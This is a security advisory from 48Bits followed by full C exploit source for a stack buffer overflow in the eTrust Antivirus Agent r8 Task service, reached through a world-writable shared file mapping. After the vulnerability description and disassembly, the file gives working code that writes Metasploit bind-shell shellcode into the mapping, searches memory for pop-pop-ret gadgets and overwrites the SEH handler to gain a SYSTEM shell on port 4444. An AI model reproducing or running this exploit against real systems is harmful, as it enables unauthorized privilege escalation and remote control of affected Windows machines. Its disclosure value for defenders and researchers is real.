/* 
       ----------------------------------------------------------------------
      | 48Bits Advisory -=- Privilege Elevation in eTrust Antivirus Agent r8 |
       ----------------------------------------------------------------------

 Affected versions :

  I have tested with:

  - eTrust Antivirus Agent r8 - http://www3.ca.com/solutions/Product.aspx?ID=156
                                   (With INOCORE.DLL 8.0.403.0) under XPSP2 and W2KSP4)

 Description :

  eTrust Antivirus r8 is prone to a stack-based buffer overflow vulnerability.

  The Affected component is "eTrust Task service" running as a Windows service, 
  the executable file is located at:

  "%PROGRAMFILES%\CA\eTrustITM\InoTask.exe"

  eTrust Task service uses a shared file mapping named "INOQSIQSYSINFO" as an 
  IPC mechanism, this file mapping have a NULL security descriptor so anyone 
  can view/modify it. This mapping contains information about scheduled tasks,
  including a field where is specified the file job´s path.

  The vulnerable code is located at IN0CORE.DLL in the function QSIGetQueueID 
  which internally calls QSIGetQuePath passing a fixed buffer in order to 
  retrieve the queue path, no validation is done for the buffer size.
  
  In order to exploit the vulnerability, malicious users can modify directly
  the buffer through the file mapping with a long file path, so when InnoTask 
  read it  the mentioned stack-based buffer overflow will be triggered.


 Technical notes about the exploit:
   
  Although the component was compiled with /GS option is still possible to exploit it:
  
  The IONOQSIQSYSINFO filemapping has enough size to contain a long file path which
  after overflowing return address and SEH Handlers will reach the end of the stack,
  causing an access exception to be raised, then we can point the exception handler
  to a memory containing a (pop,pop,ret) or (call [esp+8]) sequence, this isnt a problem
  for W2K or XPSP1 because we have such sequence in a valid offset in the Inocore.dll
  itself, but could pose one for WXP-SP2 or W2K3 where exception handlers must be
  registered, i have found some addresses valid which can be used at least on my
  test machine under XP-SP2, the PoC i have coded search in AnsiCodePageData
  mapping in order to try to find one valid for your machine if XPSP2 or W2K3 are
  detected, perhaps there are other ways to exploit it in a more efficient way but
  this is only a PoC.
  


 Disassembly: 

////////////////////////////////////////////////////////////////////////////////////////////////

QSIGetQueuePath

.text:6DC82BD0 QSIGetQueuePath proc near               ; CODE XREF: QSIGetQueueUsersFile+24p
.text:6DC82BD0                                         ; QSIGetQueueJobsFile+24p ...
.text:6DC82BD0
.text:6DC82BD0 var_110         = byte ptr -110h
.text:6DC82BD0 var_4           = dword ptr -4
.text:6DC82BD0 arg_0           = dword ptr  8
.text:6DC82BD0 arg_4           = dword ptr  0Ch
.text:6DC82BD0 arg_8           = dword ptr  10h
.text:6DC82BD0 arg_C           = dword ptr  14h
.text:6DC82BD0
.text:6DC82BD0                 push    ebp
.text:6DC82BD1                 mov     ebp, esp
.text:6DC82BD3                 and     esp, 0FFFFFFF8h
.text:6DC82BD6                 sub     esp, 110h
.text:6DC82BDC                 mov     eax, dword_6DC913F8
.text:6DC82BE1                 mov     [esp+110h+var_4], eax
.text:6DC82BE8                 push    esi
.text:6DC82BE9                 mov     esi, [ebp+arg_4]
.text:6DC82BEC                 push    edi
.text:6DC82BED                 xor     eax, eax
.text:6DC82BEF                 mov     [esp+118h+var_110], 0
.text:6DC82BF4                 mov     ecx, 40h
.text:6DC82BF9                 lea     edi, [esp+9]
.text:6DC82BFD                 rep stosd
.text:6DC82BFF                 stosw
.text:6DC82C01                 stosb
.text:6DC82C02                 mov     eax, [ebp+arg_C]
.text:6DC82C05                 test    eax, eax
.text:6DC82C07                 mov     byte ptr [esi], 0
.text:6DC82C0A                 jz      loc_6DC82CA2
.text:6DC82C10                 mov     eax, [ebp+arg_8]
.text:6DC82C13                 test    eax, eax
.text:6DC82C15                 mov     edi, [ebp+arg_0]
.text:6DC82C18                 jnz     short loc_6DC82C2F
.text:6DC82C1A                 mov     ecx, _filemap
.text:6DC82C20                 mov     eax, edi
.text:6DC82C22                 imul    eax, 194h
.text:6DC82C28                 lea     eax, [eax+ecx-144h]
.text:6DC82C2F
.text:6DC82C2F loc_6DC82C2F:                           ; CODE XREF: QSIGetQueuePath+48j
.text:6DC82C2F                 push    eax             ; unsigned __int8 *
.text:6DC82C30                 push    esi             ; unsigned __int8 *
.text:6DC82C31                 call    ds:_mbscpy      <- Here we can trigger the overflow!


And here is the call referenced from QSIGetQueueID ... 

.text:6DC85CF3 loc_6DC85CF3:                           ; CODE XREF: QSIGetQueueID+AAj
.text:6DC85CF3                 push    1               ; int
.text:6DC85CF5                 push    0               ; int
.text:6DC85CF7                 lea     ecx, [esp+120h+var_108] < - Overflowed var
.text:6DC85CFB                 push    ecx             ; unsigned __int8 *
.text:6DC85CFC                 push    eax             ; int
.text:6DC85CFD                 mov     [esp+128h+var_108], 0
.text:6DC85D02                 call    QSIGetQueuePath         <- !!

////////////////////////////////////////////////////////////////////////////////////////////////

 
 References:

  - Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft 
    Windows 2003 Server. (David Litchfield, NGSSoftware).

 Vulnerability discovered and analysis performed by:

   binagres  -=-  binagres[4t]gmail.com
   --
   48Bits[I+D Team]

   www.48bits.com
   blog.48bits.com

*/


#include <stdio.h>
#include <windows.h>

#define Mapping           "Global\\INOQSIQSYSINFO"
#define PathNameOffset     0x24C
#define HandlerOffset     (0x2F8+PathNameOffset)
#define Base2Search       (BYTE *)(0x7ffb0000)    //  AnsiCodePageData

//#define Off2popAndRet  0x7FFc07A4              <-    This offset works for me on a VMWare witch XPSP2. 

#define NOSP_Off2popAndRet (BYTE *)(0x6DC8102B)   //    Universal offset for SOs without stack protection. 
                                                  //    The address is inside inocore.dll:
                                                  //    pop edi ; xor eax, eax ; pop ebx ; ret


/* win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
static unsigned char scode[] =
"\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd1"
"\xd7\x17\x54\x83\xeb\xfc\xe2\xf4\x2d\xbd\xfc\x19\x39\x2e\xe8\xab"
"\x2e\xb7\x9c\x38\xf5\xf3\x9c\x11\xed\x5c\x6b\x51\xa9\xd6\xf8\xdf"
"\x9e\xcf\x9c\x0b\xf1\xd6\xfc\x1d\x5a\xe3\x9c\x55\x3f\xe6\xd7\xcd"
"\x7d\x53\xd7\x20\xd6\x16\xdd\x59\xd0\x15\xfc\xa0\xea\x83\x33\x7c"
"\xa4\x32\x9c\x0b\xf5\xd6\xfc\x32\x5a\xdb\x5c\xdf\x8e\xcb\x16\xbf"
"\xd2\xfb\x9c\xdd\xbd\xf3\x0b\x35\x12\xe6\xcc\x30\x5a\x94\x27\xdf"
"\x91\xdb\x9c\x24\xcd\x7a\x9c\x14\xd9\x89\x7f\xda\x9f\xd9\xfb\x04"
"\x2e\x01\x71\x07\xb7\xbf\x24\x66\xb9\xa0\x64\x66\x8e\x83\xe8\x84"
"\xb9\x1c\xfa\xa8\xea\x87\xe8\x82\x8e\x5e\xf2\x32\x50\x3a\x1f\x56"
"\x84\xbd\x15\xab\x01\xbf\xce\x5d\x24\x7a\x40\xab\x07\x84\x44\x07"
"\x82\x84\x54\x07\x92\x84\xe8\x84\xb7\xbf\x06\x08\xb7\x84\x9e\xb5"
"\x44\xbf\xb3\x4e\xa1\x10\x40\xab\x07\xbd\x07\x05\x84\x28\xc7\x3c"
"\x75\x7a\x39\xbd\x86\x28\xc1\x07\x84\x28\xc7\x3c\x34\x9e\x91\x1d"
"\x86\x28\xc1\x04\x85\x83\x42\xab\x01\x44\x7f\xb3\xa8\x11\x6e\x03"
"\x2e\x01\x42\xab\x01\xb1\x7d\x30\xb7\xbf\x74\x39\x58\x32\x7d\x04"
"\x88\xfe\xdb\xdd\x36\xbd\x53\xdd\x33\xe6\xd7\xa7\x7b\x29\x55\x79"
"\x2f\x95\x3b\xc7\x5c\xad\x2f\xff\x7a\x7c\x7f\x26\x2f\x64\x01\xab"
"\xa4\x93\xe8\x82\x8a\x80\x45\x05\x80\x86\x7d\x55\x80\x86\x42\x05"
"\x2e\x07\x7f\xf9\x08\xd2\xd9\x07\x2e\x01\x7d\xab\x2e\xe0\xe8\x84"
"\x5a\x80\xeb\xd7\x15\xb3\xe8\x82\x83\x28\xc7\x3c\x21\x5d\x13\x0b"
"\x82\x28\xc1\xab\x01\xd7\x17\x54";



BYTE * find_jmp (BYTE *lpAddress, DWORD dwSize)
{  
  DWORD i;
  BYTE *p;
  BYTE *retval = NULL;  

  for (i=0;i<(dwSize-4);i++)
  {
    p = lpAddress + i;

    //  POP + POP + RET

    if ((p[0] > 0x57) && (p[0] < 0x5F) && (p[1] > 0x57) && (p[1] < 0x5F) && (p[2] > 0xC1) && (p[2] < 0xC4))
    {
      retval = p;
      break;
    }

    //  CALL DWORD PTR [ESP+8]

    if   (   (p[0] == 0xFF) && 
           (p[1] == 0x54) && 
           (p[2] == 0x24) && 
           (p[3]==0x8) )
    {
      retval = p;
      break;
    }
  }

  return retval;

}

void main (int argc, char **argv)
{
  HANDLE hMap;
  BYTE   *lpMap;
  int    i;
  BYTE   *Off2popAndRet=NULL;
  OSVERSIONINFOA  osvi;
  
  printf( " -------------------------------------\n"
        " Exploit for eTrust Antivirus Agent r8\n"
          " -------------------------------------\n\n"
          "binagres -=- binagres[4t]gmail.com\n"
      " --\n"
          " 48Bits.com\n"
      " blog.48bits.com\n\n");

         

  printf("Opening file mapping  ... \n");

  if ( (hMap = OpenFileMappingA(FILE_MAP_ALL_ACCESS,FALSE, Mapping)) )
  {

    if ( (lpMap = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0)) )
    {
      // Current file path stored in the mapping.
      printf("Current path %s\n", lpMap+ PathNameOffset);
    }

    else
    {
      printf("Error while Mapping view of file\n");
      return;
    }      

    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    GetVersionEx(&osvi);

    // OS detection ...

    if ( osvi.dwMajorVersion < 5 )
    {
      printf("Using universal offset\n");
      Off2popAndRet = NOSP_Off2popAndRet;
    }

    else
    {
      switch (osvi.dwMinorVersion)
      {
      case 0: 
        printf("W2K detected: using universal offset\n");
        Off2popAndRet = NOSP_Off2popAndRet;
        break;

      case 1:

        if (lstrcmpi("Service Pack 2", osvi.szCSDVersion))
        {
          Off2popAndRet = NOSP_Off2popAndRet;
          printf("WXP - %s - detected, using universal offset\n",osvi.szCSDVersion);
        }

        else
        {
          printf("WXP - SP2 Detected no universal offset\n");
        }
        break;

      case 2:
        printf("W2K3 - %s - detected no universal offset\n");
        break;
      }
    }
    

    // Try to find the jmpcode by other way...

    if (!Off2popAndRet)
    {
      Off2popAndRet = find_jmp(Base2Search,0x20000);
    }
    

    // Have we any jmp code?
    
    if(Off2popAndRet)
    {

      printf("Valid Offset found at 0x%p!!\n", Off2popAndRet);

      // Write Shellcode

      for ( i = 0 ; i< sizeof(scode) ; i++ )
      {
        *(lpMap+ PathNameOffset + i) = scode[i];
      }

      // Fill the rest of the map - we want an access exception!! :-)

      for ( i = PathNameOffset + sizeof(scode) - 1; i<0x1000 ; i++ )
      {
        *(lpMap+i) = 0x90;
      }
      
      // Offsets and jmp´s party 
      
      * ((DWORD *)(lpMap+ HandlerOffset - 4)) = 0x909006EB; // jmp $+6
      * ((DWORD *)(lpMap+ HandlerOffset)) = (DWORD) Off2popAndRet;
      * ((DWORD *)(lpMap+ HandlerOffset + 4)) = 0xFFFCFFE9; //  for..
      * ((BYTE  *)(lpMap+ HandlerOffset + 8)) = 0xFF;       //  jmp (shellcode)

      printf("Attack launched ... wait a few seconds and try \"telnet localhost 4444\" \n");

    }  

    else
    {
      printf("Cannot find a jmpcode try it by yourself :-(\n");
    }
  }

  else 
  {
    printf("Cannot find eTrust filemapping\n");
  }
}